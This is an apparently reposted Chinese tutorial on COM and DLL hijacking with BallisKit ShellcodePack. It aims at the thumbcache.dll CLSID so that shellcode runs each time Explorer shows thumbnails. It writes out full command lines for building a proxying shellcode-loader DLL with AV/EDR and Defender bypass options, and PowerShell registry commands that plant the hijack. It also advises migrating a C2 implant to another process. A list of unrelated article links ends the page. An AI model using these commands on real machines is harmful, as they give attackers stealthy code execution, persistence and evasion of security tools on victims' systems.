利用ShellcodePack实现DLL劫持与COM对象劫持技术详解

利用ShellcodePack实现DLL劫持与COM对象劫持技术详解

本文是一份关于使用 BallisKit ShellcodePack(版本 2.7.2 及以上)执行 DLL 劫持的小型教程。在本例中,我们将对 thumbcache.dll 使用 COM 劫持技术,从而在每次浏览资源管理器时触发有效载荷。

技术背景

当浏览包含缩略图的文件夹时,系统会触发 CLSID 为 {AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} 的 COM 对象执行。通过查看注册表路径:

HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32

可以发现该对象的实现文件位于:

C:\Windows\System32\thumbcache.dll

ProcMon 监控 thumbcache.dll 加载

通过 Process Monitor 观察,当文件夹被浏览时,thumbcache.dll 会由 DllHost.exe 加载。同时注意到,系统会优先加载 HKEY_CLASS_USER 中定义的值(如果存在)。我们将利用这一特性来运行 shellcode 加载器 DLL。

第一步:生成 shellcode 加载器 DLL

ShellcodePack 支持多种从 DLL 加载 shellcode 的策略。本例选择从 DLL_MAIN 中加载 shellcode。我们使用 dll-proxy 选项将导出的函数调用自动转发至原始 DLL,同时使用 dll-increase-reference-count 选项避免恶意 DLL 被提前卸载。

使用以下命令行生成我们的 DLL:

bash 复制代码
shellcode_pack.exe -i "x64shellcode.bin" -G "C:\my\path\thumbcache.dll" --arch=win_x64 --bypass --dll-increase-reference-count --dll-proxy="c:\windows\system32\thumbcache.dll"

提示 :使用 --bypass 选项可自动应用多种 AV/EDR 绕过方案来生成载荷。你也可以通过以下方式使用预定义的 EDR 绕过预设:

bash 复制代码
--bypass-profile=bypass_profiles\defender_bypass_profile.json

第二步:注册表中的 COM 劫持配置

使用以下 PowerShell 命令行设置注册表项:

powershell 复制代码
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\my\path\thumbcache.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Apartment"

生成的注册表项结构如图所示(预期效果)。

第三步:漏洞利用

打开资源管理器,点击包含缩略图的文件夹(例如「此电脑」)。此时 shellcode 将被成功启动!

第四步:清理

使用以下命令清理注册表:

powershell 复制代码
Remove-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"

限制与替代方案

在 COM 劫持场景中,当被劫持的进程终止时(本例中为几秒后),你的 shellcode 会被中断。如果 shellcode 是一个 C2 植入程序,你可能需要在此之前迁移到其他进程。

替代方案一 :移除 dll-proxy 选项。在这种情况下,由于对 DLL 的调用会失败,进程可能不会立即关闭。缺点是此方法并非在所有场景下都有效。

保持目标进程在劫持后继续运行的命令示例:

bash 复制代码
shellcode_pack.exe -i "x64shellcode.bin" -G "C:\my\path\thumbcache.dll" --arch=win_x64 --bypass --dll-increase-reference-count

替代方案二 :不通过 DLL_MAIN 运行 shellcode 并代理导出函数,而是从导出函数中运行 shellcode。你可以使用 dll-run-shellcode-from-dll-export 选项,并通过 dll-export=DLL_EXPORT_NAME 重命名默认的 ShellcodePack 导出函数。但需要注意,从导出函数加载的问题在于,在 DLL 劫持场景中,调用程序可能无法正常运行。 CSD0tFqvECLokhw9aBeRqv0CjOLMPgMxZs9OkOfethamM50XDnXyZbBEdIw1I2NdN45R4gFPBXJrnxWMLeVhZ58KQ+60IxEXoR89fK55CSY=

相关推荐
zhangfeng113321 分钟前
CVOCA 卷积模型,《Nature》子刊 特征提取技术突破性研究的综合分析报告
人工智能
炎火星26 分钟前
直播切片素材杂乱,怎么用 AI 剪辑做成可用带货视频?
人工智能
像风一样的男人@31 分钟前
python --fastapi推流AI推理
人工智能·python·fastapi
行走的小派40 分钟前
从个人开发到企业部署:OPi AI Station四大应用场景与选型指南
人工智能·边缘计算·香橙派·边缘ai
天云数据40 分钟前
从“雇佣一个人”到“组建一个团队”:AI生产力的组织方式被重写
人工智能
2601_956319881 小时前
最新量化开发卡住,先查规则和流程是否完整
人工智能·python
weixin_6681 小时前
Cursor-superpowers插件用法
数据库·人工智能
adinnet20261 小时前
深度拆解企业级 Agent 架构:LangGraph + 知识图谱 + 向量检索的协同设计
人工智能·架构·知识图谱
武子康1 小时前
Shippy:确定性工具、会话级 Sandbox 与 Live-Data Eval(4 类收敛 + 7 步实现方案 + 6 类评测指标)
前端·人工智能·后端
糖果店的幽灵1 小时前
langgraph分支之 - 动态分支(Dynamic Branch)
java·前端·javascript·人工智能·langgraph